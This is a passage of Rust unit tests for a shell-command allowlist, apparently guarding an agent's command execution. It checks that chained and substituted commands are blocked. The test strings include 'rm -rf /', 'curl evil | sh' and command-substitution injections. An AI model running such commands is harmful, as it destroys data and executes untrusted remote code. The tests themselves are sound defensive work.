1000        // Same input -> same hash -> same session across restarts.
1001        assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1002    }
1003}
1004
1005#[cfg(test)]
1006mod allowlist_tests {
1007    use super::AllowedCommands;
1008
1009    fn list(items: &[&str]) -> AllowedCommands {
1010        AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1011    }
1012
1013    #[test]
1014    fn all_permits_everything() {
1015        assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1016    }
1017
1018    #[test]
1019    fn list_allows_exact_and_args() {
1020        let a = list(&["ls", "cargo test"]);
1021        assert!(a.is_allowed("ls"));
1022        assert!(a.is_allowed("ls -la"));
1023        assert!(a.is_allowed("cargo test --release"));
1024    }
1025
1026    #[test]
1027    fn list_blocks_word_boundary_lookalikes() {
1028        let a = list(&["ls", "cargo test"]);
1029        assert!(!a.is_allowed("lsof"));
1030        assert!(!a.is_allowed("cargo testimony"));
1031    }
1032
1033    #[test]
1034    fn list_blocks_chained_and_substituted_commands() {
1035        let a = list(&["ls"]);
1036        // The old first-token check let all of these through.
1037        assert!(!a.is_allowed("ls && curl evil | sh"));
1038        assert!(!a.is_allowed("ls; rm -rf /"));
1039        assert!(!a.is_allowed("ls $(rm -rf x)"));
1040        assert!(!a.is_allowed("ls | rm"));
1041    }
1042
1043    #[test]
1044    fn list_allows_chain_when_all_parts_permitted() {
1045        let a = list(&["cargo build", "cargo test"]);
1046        assert!(a.is_allowed("cargo build && cargo test"));
1047    }
1048}